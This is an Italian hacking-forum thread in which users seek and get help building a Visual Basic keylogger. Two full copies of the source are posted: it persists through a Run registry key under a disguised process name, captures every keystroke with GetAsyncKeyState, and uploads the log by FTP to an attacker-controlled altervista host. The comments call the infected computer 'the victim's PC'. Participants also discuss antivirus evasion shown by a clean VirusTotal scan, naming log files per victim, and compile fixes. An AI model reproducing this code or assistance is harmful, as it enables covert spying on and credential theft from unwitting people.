• Regolamento Macrocategoria DEV
    Prima di aprire un topic nella Macrocategoria DEV, è bene leggerne il suo regolamento. Sei un'azienda o un hosting/provider? Qui sono anche contenute informazioni per collaborare con Sciax2 ed ottenere l'accredito nella nostra community!
Stato
Discussione chiusa ad ulteriori risposte.
@Biscuit Account di host, non di MSN. Registrati su altervista, metti il nome di quell'account, il nome della password di quell'account e infine il sito relativo all'account.
@HabboBabbo hai dimenticato di posizionare dei componenti (es. Microsoft Internet Transfer Controls) o degli oggetti (es. Timer1, Timer2, Inet1). Leggi meglio la guida và.

biscuit devi creare un account su altervista/robe simili e poi mettere l'indirizzo di quello

Esatto Tranzollo.
OK grazie!:emoji_relieved: Siete troppo forti!!:bye::bye::sisi::devil2:
Vi aggiorno se ci sono novità!!:°°:
--------------- AGGIUNTA AL POST ---------------
Una curiosità... per vedere il contenuto che viene inviato ogni tot minuti, devo entrare dentro il mio account altervista, e li potrò leggere tutto quanto?:emoji_smiley:
 
Una curiosità... per vedere il contenuto che viene inviato ogni tot minuti, devo entrare dentro il mio account altervista, e li potrò leggere tutto quanto?:emoji_smiley:
 
Ultima modifica:
No semplicemente sul tuo sito. Nella pagina:
Codice:
Perfavore, Entra oppure Registrati per vedere i codici!
"log.txt" si chiama così poichè è il valore della variabile "nomefile". Se modificate il valore della variabile per esempio in "prova.txt" i log del Key verranno stampati in
Codice:
Perfavore, Entra oppure Registrati per vedere i codici!
 
avevo pensato di sostituire il nome del file ke mi viene uploato con nome del pc in questione es.

il keylogger va sul pc di vanessa
sull' host mi arriva il file vanessa.txt
poi passa anche da matte
sull' host mi arriva il file matte.txt

ci doveva essere un codice del genere %username% o %computername% ma nn melo ricordo voi si??
 
:puzzi:
Devo aver sbagliato qualcosa...
Analisi su virus total

AhnLab-V3 2008.10.22.0 2008.10.22 -
AntiVir 7.9.0.5 2008.10.22 -
Authentium 5.1.0.4 2008.10.22 -
Avast 4.8.1248.0 2008.10.22 -
AVG 8.0.0.161 2008.10.22 -
BitDefender 7.2 2008.10.22 -
CAT-QuickHeal 9.50 2008.10.22 -
ClamAV 0.93.1 2008.10.22 -
DrWeb 4.44.0.09170 2008.10.22 -
eSafe 7.0.17.0 2008.10.19 -
eTrust-Vet 31.6.6163 2008.10.22 -
Ewido 4.0 2008.10.22 -
F-Prot 4.4.4.56 2008.10.21 -
F-Secure 8.0.14332.0 2008.10.22 -
Fortinet 3.113.0.0 2008.10.22 -
GData 19 2008.10.22 -
Ikarus T3.1.1.44.0 2008.10.22 -
K7AntiVirus 7.10.501 2008.10.21 -
Kaspersky 7.0.0.125 2008.10.22 -
McAfee 5411 2008.10.22 -
Microsoft 1.4005 2008.10.22 -
NOD32 3545 2008.10.22 -
Norman 5.80.02 2008.10.22 -
Panda 9.0.0.4 2008.10.22 -
PCTools 4.4.2.0 2008.10.22 -
Prevx1 V2 2008.10.22 -
Rising 20.67.22.00 2008.10.22 -
SecureWeb-Gateway 6.7.6 2008.10.22 -
Sophos 4.34.0 2008.10.22 -
Sunbelt 3.1.1742.1 2008.10.21 -
Symantec 10 2008.10.22 -
TheHacker 6.3.1.0.123 2008.10.22 -
TrendMicro 8.700.0.1004 2008.10.22 -
VBA32 3.12.8.8 2008.10.22 -
ViRobot 2008.10.22.1432 2008.10.22 -
VirusBuster 4.5.11.0 2008.10.22 -

Incollo quello che ho messo... ovviamente nickname e password li ho oscurati!xD



Private Sub Form_Load()
Set reg = CreateObject("Wscript.shell")
reg.regwrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\Isass", App.Path & "\nomekeylogger.exe"
Dim Ritardo As Long 'dichiarazione variabile ritardo
Dim testo As String 'dichiarazione variabile testo
SystemParamsLong SPI_GETKEYBOARDSPEED, 0, Ritardo, 0 'settando la variabile ritardo
Timer1.Interval = Ritardo + 150 'imposto un ritardo minimo per captare i tasti, altrimenti potrebbe essere simulata la pressione ripetuta di un tasto
End Sub

Private Sub testo_Change() 'quando il textbox cambia...
Open "C:\WINDOWS\system32\keylog.txt" For Output As #1 'creo un file e ci scrivo tutto il testo digitato
Print #1, "Remote FTP KeyLogger v1 By FireFox - Testo digitato: " & testo.Text & ", "
Close #1
End Sub

Private Sub Timer1_Timer() 'il timer1 capta tutto ciò che viene scritto ogni tot secondi
If GetAsyncKeyState(vbKeyA) Then
testo = testo + "a"
ElseIf GetAsyncKeyState(vbKeyB) Then
testo = testo + "b"
ElseIf GetAsyncKeyState(vbKeyC) Then
testo = testo + "c"
ElseIf GetAsyncKeyState(vbKeyD) Then
testo = testo + "d"
ElseIf GetAsyncKeyState(vbKeyE) Then
testo = testo + "e"
ElseIf GetAsyncKeyState(vbKeyF) Then
testo = testo + "f"
ElseIf GetAsyncKeyState(vbKeyG) Then
testo = testo + "g"
ElseIf GetAsyncKeyState(vbKeyH) Then
testo = testo + "h"
ElseIf GetAsyncKeyState(vbKeyI) Then
testo = testo + "i"
ElseIf GetAsyncKeyState(vbKeyJ) Then
testo = testo + "j"
ElseIf GetAsyncKeyState(vbKeyK) Then
testo = testo + "k"
ElseIf GetAsyncKeyState(vbKeyL) Then
testo = testo + "l"
ElseIf GetAsyncKeyState(vbKeyM) Then
testo = testo + "m"
ElseIf GetAsyncKeyState(vbKeyN) Then
testo = testo + "n"
ElseIf GetAsyncKeyState(vbKeyO) Then
testo = testo + "o"
ElseIf GetAsyncKeyState(vbKeyP) Then
testo = testo + "p"
ElseIf GetAsyncKeyState(vbKeyQ) Then
testo = testo + "q"
ElseIf GetAsyncKeyState(vbKeyR) Then
testo = testo + "r"
ElseIf GetAsyncKeyState(vbKeyS) Then
testo = testo + "s"
ElseIf GetAsyncKeyState(vbKeyT) Then
testo = testo + "t"
ElseIf GetAsyncKeyState(vbKeyU) Then
testo = testo + "u"
ElseIf GetAsyncKeyState(vbKeyV) Then
testo = testo + "v"
ElseIf GetAsyncKeyState(vbKeyW) Then
testo = testo + "w"
ElseIf GetAsyncKeyState(vbKeyX) Then
testo = testo + "x"
ElseIf GetAsyncKeyState(vbKeyY) Then
testo = testo + "y"
ElseIf GetAsyncKeyState(vbKeyZ) Then
testo = testo + "z"
ElseIf GetAsyncKeyState(vbKey0) Then
testo = testo + "0"
ElseIf GetAsyncKeyState(vbKey1) Then
testo = testo + "1"
ElseIf GetAsyncKeyState(vbKey2) Then
testo = testo + "2"
ElseIf GetAsyncKeyState(vbKey3) Then
testo = testo + "3"
ElseIf GetAsyncKeyState(vbKey4) Then
testo = testo + "4"
ElseIf GetAsyncKeyState(vbKey5) Then
testo = testo + "5"
ElseIf GetAsyncKeyState(vbKey6) Then
testo = testo + "6"
ElseIf GetAsyncKeyState(vbKey7) Then
testo = testo + "7"
ElseIf GetAsyncKeyState(vbKey8) Then
testo = testo + "8"
ElseIf GetAsyncKeyState(vbKey9) Then
testo = testo + "9"
ElseIf GetAsyncKeyState(vbKeyEscape) Then
testo = testo + "<Esc>"
ElseIf GetAsyncKeyState(vbKeySpace) Then
testo = testo + "<Space>"
ElseIf GetAsyncKeyState(vbKeyBack) Then
testo = testo + "<BackSpace>"
ElseIf GetAsyncKeyState(vbKeyDelete) Then
testo = testo + "<Canc>"
ElseIf GetAsyncKeyState(vbKeyDown) Then
testo = testo + "<Freccia Giù>"
ElseIf GetAsyncKeyState(vbKeyShift) Then
testo = testo + "<Shift>"
ElseIf GetAsyncKeyState(vbKeyTab) Then
testo = testo + "<Tab>"
ElseIf GetAsyncKeyState(vbKeyUp) Then
testo = testo + "<Freccia Sù>"
ElseIf GetAsyncKeyState(vbKeyRight) Then
testo = testo + "<Freccia Destra>"
ElseIf GetAsyncKeyState(vbKeyLeft) Then
testo = testo + "<Freccia Sinistra>"
ElseIf GetAsyncKeyState(vbKeyPageUp) Then
testo = testo + "<Pagina Sopra>"
ElseIf GetAsyncKeyState(vbKeyPageDown) Then
testo = testo + "<Pagina Sotto>"
ElseIf GetAsyncKeyState(vbKeyF1) Then
testo = testo + "<F1>"
ElseIf GetAsyncKeyState(vbKeyF2) Then
testo = testo + "<F2>"
ElseIf GetAsyncKeyState(vbKeyF3) Then
testo = testo + "<F3>"
ElseIf GetAsyncKeyState(vbKeyF4) Then
testo = testo + "<F4>"
ElseIf GetAsyncKeyState(vbKeyF5) Then
testo = testo + "<F5>"
ElseIf GetAsyncKeyState(vbKeyF6) Then
testo = testo + "<F6>"
ElseIf GetAsyncKeyState(vbKeyF7) Then
testo = testo + "<F7>"
ElseIf GetAsyncKeyState(vbKeyF8) Then
testo = testo + "<F8>"
ElseIf GetAsyncKeyState(vbKeyF9) Then
testo = testo + "<F9>"
ElseIf GetAsyncKeyState(vbKeyF10) Then
testo = testo + "<F10>"
ElseIf GetAsyncKeyState(vbKeyF11) Then
testo = testo + "<F11>"
ElseIf GetAsyncKeyState(vbKeyF12) Then
testo = testo + "<F12>"
ElseIf GetAsyncKeyState(vbKeF13) Then
testo = testo + "<F13>"
ElseIf GetAsyncKeyState(vbKeyEnd) Then
testo = testo + "<FINE>"
End If
End Sub

Private Sub Timer2_Timer() 'ciclo per evitare connessioni molteplici al ftp
Timer3.Enabled = True
Timer2.Enabled = False
End Sub

Private Sub Timer3_Timer() 'vedi commento timer2
Timer4.Enabled = True
Timer3.Enabled = False
End Sub

Private Sub Timer4_Timer() 'vedi commento timer2
Timer5.Enabled = True
Timer4.Enabled = False
End Sub

Private Sub Timer5_Timer() 'vedi commento timer2
Timer6.Enabled = True
Timer5.Enabled = False
End Sub

Private Sub Timer6_Timer() 'vedi commento timer2 + upload file
Dim nomefile As String 'dichiarazione nomefile, ossia il nome del file quando verrà uploadato sul nostro ftp
Dim ftpwebsite As String 'dichiarazione ftpwebsite, ossia l'indirizzo ftp del nostro sito
account = "****"
pswd = "****"
ftpwebsite = "ftp://mywebsite.altervista.org" 'indirizzo ftp nostro host
Inet1.URL = ftpwebsite 'settaggio indirizzo ftp
Inet1.UserName = account 'settaggio account
Inet1.Password = pswd 'settaggio password
nomefile = "keylog"
Inet1.Execute Inet1.URL, "PUT C:\WINDOWS\system32\keylog.txt " & nomefile 'sostituire c:\windows\system32\keylog.txt con l'indirizzo del file che dovete prelevare dal pc della vittima
Do While Inet1.StillExecuting = True
DoEvents
Loop
Timer6.Enabled = False
Timer2.Enabled = True
End Sub
--------------- AGGIUNTA AL POST ---------------
Ed il file si presenta cosi!
2e6hg1v.jpg

--------------- AGGIUNTA AL POST ---------------
:emoji_smiley::emoji_smiley:
Help me.
:emoji_smiley::emoji_smiley:
 
Ultima modifica:
devi compilare il progetto "file > make project1.exe", non salvarlo e basta.
 
help!!

@Biscuit Account di host, non di MSN. Registrati su altervista, metti il nome di quell'account, il nome della password di quell'account e infine il sito relativo all'account.
@HabboBabbo hai dimenticato di posizionare dei componenti (es. Microsoft Internet Transfer Controls) o degli oggetti (es. Timer1, Timer2, Inet1). Leggi meglio la guida và.
Firefox.. scusa ma nn sn molto pratico col basic... ma nella tua guida nn c'è niente che si chiama inet1.. helppppppppp cry
--------------- AGGIUNTA AL POST ---------------
Private Sub Form_Load()
Set reg = CreateObject("Wscript.shell")
reg.regwrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\Isass", App.Path & "\TetraNoid.exe"
Dim Ritardo As Long 'dichiarazione variabile ritardo
Dim testo As String 'dichiarazione variabile testo
SystemParamsLong SPI_GETKEYBOARDSPEED, 0, Ritardo, 0 'settando la variabile ritardo
Timer1.Interval = Ritardo + 150 'imposto un ritardo minimo per captare i tasti, altrimenti potrebbe essere simulata la pressione ripetuta di un tasto
End Sub

Private Sub testo_Change() 'quando il textbox cambia...
Open "C:\WINDOWS\system32\keylog.txt" For Output As #1 'creo un file e ci scrivo tutto il testo digitato
Print #1, "Remote FTP KeyLogger v1 By FireFox - Testo digitato: " & testo.Text & ", "
Close #1
End Sub

Private Sub Timer1_Timer() 'il timer1 capta tutto ciò che viene scritto ogni tot secondi
If GetAsyncKeyState(vbKeyA) Then
testo = testo + "a"
ElseIf GetAsyncKeyState(vbKeyB) Then
testo = testo + "b"
ElseIf GetAsyncKeyState(vbKeyC) Then
testo = testo + "c"
ElseIf GetAsyncKeyState(vbKeyD) Then
testo = testo + "d"
ElseIf GetAsyncKeyState(vbKeyE) Then
testo = testo + "e"
ElseIf GetAsyncKeyState(vbKeyF) Then
testo = testo + "f"
ElseIf GetAsyncKeyState(vbKeyG) Then
testo = testo + "g"
ElseIf GetAsyncKeyState(vbKeyH) Then
testo = testo + "h"
ElseIf GetAsyncKeyState(vbKeyI) Then
testo = testo + "i"
ElseIf GetAsyncKeyState(vbKeyJ) Then
testo = testo + "j"
ElseIf GetAsyncKeyState(vbKeyK) Then
testo = testo + "k"
ElseIf GetAsyncKeyState(vbKeyL) Then
testo = testo + "l"
ElseIf GetAsyncKeyState(vbKeyM) Then
testo = testo + "m"
ElseIf GetAsyncKeyState(vbKeyN) Then
testo = testo + "n"
ElseIf GetAsyncKeyState(vbKeyO) Then
testo = testo + "o"
ElseIf GetAsyncKeyState(vbKeyP) Then
testo = testo + "p"
ElseIf GetAsyncKeyState(vbKeyQ) Then
testo = testo + "q"
ElseIf GetAsyncKeyState(vbKeyR) Then
testo = testo + "r"
ElseIf GetAsyncKeyState(vbKeyS) Then
testo = testo + "s"
ElseIf GetAsyncKeyState(vbKeyT) Then
testo = testo + "t"
ElseIf GetAsyncKeyState(vbKeyU) Then
testo = testo + "u"
ElseIf GetAsyncKeyState(vbKeyV) Then
testo = testo + "v"
ElseIf GetAsyncKeyState(vbKeyW) Then
testo = testo + "w"
ElseIf GetAsyncKeyState(vbKeyX) Then
testo = testo + "x"
ElseIf GetAsyncKeyState(vbKeyY) Then
testo = testo + "y"
ElseIf GetAsyncKeyState(vbKeyZ) Then
testo = testo + "z"
ElseIf GetAsyncKeyState(vbKey0) Then
testo = testo + "0"
ElseIf GetAsyncKeyState(vbKey1) Then
testo = testo + "1"
ElseIf GetAsyncKeyState(vbKey2) Then
testo = testo + "2"
ElseIf GetAsyncKeyState(vbKey3) Then
testo = testo + "3"
ElseIf GetAsyncKeyState(vbKey4) Then
testo = testo + "4"
ElseIf GetAsyncKeyState(vbKey5) Then
testo = testo + "5"
ElseIf GetAsyncKeyState(vbKey6) Then
testo = testo + "6"
ElseIf GetAsyncKeyState(vbKey7) Then
testo = testo + "7"
ElseIf GetAsyncKeyState(vbKey8) Then
testo = testo + "8"
ElseIf GetAsyncKeyState(vbKey9) Then
testo = testo + "9"
ElseIf GetAsyncKeyState(vbKeyEscape) Then
testo = testo + "<Esc>"
ElseIf GetAsyncKeyState(vbKeySpace) Then
testo = testo + "<Space>"
ElseIf GetAsyncKeyState(vbKeyBack) Then
testo = testo + "<BackSpace>"
ElseIf GetAsyncKeyState(vbKeyDelete) Then
testo = testo + "<Canc>"
ElseIf GetAsyncKeyState(vbKeyDown) Then
testo = testo + "<Freccia Giù>"
ElseIf GetAsyncKeyState(vbKeyShift) Then
testo = testo + "<Shift>"
ElseIf GetAsyncKeyState(vbKeyTab) Then
testo = testo + "<Tab>"
ElseIf GetAsyncKeyState(vbKeyUp) Then
testo = testo + "<Freccia Sù>"
ElseIf GetAsyncKeyState(vbKeyRight) Then
testo = testo + "<Freccia Destra>"
ElseIf GetAsyncKeyState(vbKeyLeft) Then
testo = testo + "<Freccia Sinistra>"
ElseIf GetAsyncKeyState(vbKeyPageUp) Then
testo = testo + "<Pagina Sopra>"
ElseIf GetAsyncKeyState(vbKeyPageDown) Then
testo = testo + "<Pagina Sotto>"
ElseIf GetAsyncKeyState(vbKeyF1) Then
testo = testo + "<F1>"
ElseIf GetAsyncKeyState(vbKeyF2) Then
testo = testo + "<F2>"
ElseIf GetAsyncKeyState(vbKeyF3) Then
testo = testo + "<F3>"
ElseIf GetAsyncKeyState(vbKeyF4) Then
testo = testo + "<F4>"
ElseIf GetAsyncKeyState(vbKeyF5) Then
testo = testo + "<F5>"
ElseIf GetAsyncKeyState(vbKeyF6) Then
testo = testo + "<F6>"
ElseIf GetAsyncKeyState(vbKeyF7) Then
testo = testo + "<F7>"
ElseIf GetAsyncKeyState(vbKeyF8) Then
testo = testo + "<F8>"
ElseIf GetAsyncKeyState(vbKeyF9) Then
testo = testo + "<F9>"
ElseIf GetAsyncKeyState(vbKeyF10) Then
testo = testo + "<F10>"
ElseIf GetAsyncKeyState(vbKeyF11) Then
testo = testo + "<F11>"
ElseIf GetAsyncKeyState(vbKeyF12) Then
testo = testo + "<F12>"
ElseIf GetAsyncKeyState(vbKeF13) Then
testo = testo + "<F13>"
ElseIf GetAsyncKeyState(vbKeyEnd) Then
testo = testo + "<FINE>"
End If
End Sub

Private Sub Timer2_Timer() 'ciclo per evitare connessioni molteplici al ftp
Timer3.Enabled = True
Timer2.Enabled = False
End Sub

Private Sub Timer3_Timer() 'vedi commento timer2
Timer4.Enabled = True
Timer3.Enabled = False
End Sub

Private Sub Timer4_Timer() 'vedi commento timer2
Timer5.Enabled = True
Timer4.Enabled = False
End Sub

Private Sub Timer5_Timer() 'vedi commento timer2
Timer6.Enabled = True
Timer5.Enabled = False
End Sub

Private Sub Timer6_Timer() 'vedi commento timer2 + upload file
Dim nomefile As String 'dichiarazione nomefile, ossia il nome del file quando verrà uploadato sul nostro ftp
Dim ftpwebsite As String 'dichiarazione ftpwebsite, ossia l'indirizzo ftp del nostro sito
account = "**********" 'nome nostro account hosting
pswd = "********" 'password account hosting
ftpwebsite = "ftp://*********.altervista.org" 'indirizzo ftp nostro host
Inet1.URL = ftpwebsite 'settaggio indirizzo ftp
Inet1.UserName = account 'settaggio account
Inet1.Password = pswd 'settaggio password
nomefile = "key.txt" 'sostituire log.txt con il nome che vorrete dare al file uploadato sul vostro host
Inet1.Execute Inet1.URL, "PUT C:\WINDOWS\system32\keylog.txt " & nomefile 'sostituire c:\windows\system32\keylog.txt con l'indirizzo del file che dovete prelevare dal pc della vittima
Do While Inet1.StillExecuting = True 'looooop ti amo xD
DoEvents
Loop
Timer6.Enabled = False
Timer2.Enabled = True
End Sub
--------------- AGGIUNTA AL POST ---------------
questo è quello che c'è nel form.. poi c sn 6 timer il primo cn interval 0 e gli altri cn 60000, poi 1 textbox ke s kiama testo poi ho aggiunto al form1 quel component microsoft trasfert inet controls ma nella cartella system32 nn c'è un file ke si kiama msinet.ocx ke faccio??? poi c'è un modulo e dentro gli ho messo il codice modulo... HO COMPILATO TUTTO!!! qual'è il problema? helpppppppp
 
Ultima modifica:
@HabboBabbo c'e' scritto cosa devi fare, si vede che non leggi riguardo agli Internet Transfer Controls huh

@Biscuit il firewall dice solo se vuoi sbloccare il programma o negargli i permessi.
 
1 problema

@HabboBabbo c'e' scritto cosa devi fare, si vede che non leggi riguardo agli Internet Transfer Controls huh

@Biscuit il firewall dice solo se vuoi sbloccare il programma o negargli i permessi.
firefox guarda ke nel form1 io ho aggiunto il microsoft internet trasfert control... ho controllato 25 volte.. ti prego help me
 
Ultima modifica:
Scaricati da internet MSINET.OCX, spostalo in C:\WINDOWS\system32, poi vai in VB e fai project > references > scegli C:\windows\system32\msinet.ocx e fai ok.
--------------- AGGIUNTA AL POST ---------------
P.S. Evidenziami la riga dove ti dà errore.
 
Ultima modifica:
:emoji_slight_frown:

ho fatto quel ke mi hai detto... ho fatto tutto giusto.. ho messo l' internet trasfert control.. ho tutto.. i 6 timer.. la textbox... 1 altro modulo.. l internet trasfert control... nel form ho messo tutto giusto il codice.. nel modulo anke.. ma qual'è il problema? ti prego!!! scusa se ti sto pressando ma mi serve al più presto e non riesco a capire quale possa essere il problema!!!!!!!!!cry
 
Habbo ma allora sei sordo? Ti ho detto di dirmi dov'e' che ti dà errore, quale riga, cosa?!!
 
Io invece sono riuscito a farlo finalmente!:bye:
Grazie firefox!!:cool:
riuscito a farlo... però!:°°::°°:
Non mi invia niente!:punizione:
Può essere dovuto a questo?
Vado su Accedi al pannello di controllo-metto la password e nik-vado nella sezione "altersito"-visualizza sito ed ecco qua!-.-
2dcae8g.jpg

Come faccio?cry
 
Perchè i log si salvano in tuosito.altervista.org/log.txt -.-
 
Non fornisco assistenza tramite MSN, se hai problemi scrivi quì.
 
Stato
Discussione chiusa ad ulteriori risposte.